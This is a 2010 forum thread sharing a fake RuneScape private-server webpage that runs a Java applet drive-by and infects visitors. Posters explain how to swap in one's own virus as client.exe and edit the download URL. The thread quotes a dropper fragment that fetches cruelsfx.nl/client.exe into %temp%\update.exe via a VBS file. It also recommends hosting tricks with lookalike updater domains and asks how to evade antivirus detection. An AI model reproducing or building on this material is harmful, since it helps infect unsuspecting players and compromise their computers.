?????-- - May 1, 2010, 2:06 pm

This is a fake Runescape Private server.

Only things u got to do is edit the text/title.

And replace client.exe with your virus make sure your virus is called client.exe because it loads client.exe.

How it works :

The victim goes on the webpage he thinks COOL PRIVATE SERVER LETS PLAYZ0R. He notices that java is loading also that there comes a pop-up with trust this applet etc.

On every java applet you get this pop-up what happens he clicks accepts only for people that are familiar with java driveby won't click accept.

People that always click accept are those private server nubs.

I hope you have fun!

To your webhost / local server.

I dont know anything about free web hosts since I only use paid ones.

I know how everything works but not webhosts that are free.

You might look on google for Free Webhosts

No, you also need to replace this on the index with the URL of your server. It didn't get mentioned in the readme and means the victim will be infected with his server if you don't change it

%temp%\winconfig.vbs cruelsfx.nl/client.exe %temp%\update.exe'>

```

<param name='unix1' value="">

If you got rid of his client.exe and edited both lines where <http://cruelsfx.nl/client.exe> occur, to your file. Youre good to go. After this the update.exe will be your server, not his. (the driveby edits your server exe's filename to update.exe)

Google HFS, it allows you to host your java driveby from your pc and lets you monitor if someone is downloading your server.exe from driveby... also allows you to use no-ip services example <http://something.javaupdater.com> ;)

btw, this driveby is 11/16 so you might wanna use different .jar.. does anyone know how to crypt .jar / applets ?

Wow, Twistart didn't expect that you would steel my work.

This is not even a driveby. And it's not 'coded' by you. I made this and gave it to you for free. And not even a single credit for me ?

Let me explain to other people what this is:

This is a 'real' client. It works, but when it download the cache, what it usually do for this kind of clients. It also downloads your server file with it. Then the cache will extract(like always) and the client will run on the web. While it run, it just opens the server.exe or whatever your file is called. It will be in the C:/cachename. You can find the cachename in the signlink class.

Thanks for stealing my work, and not giving any credit.
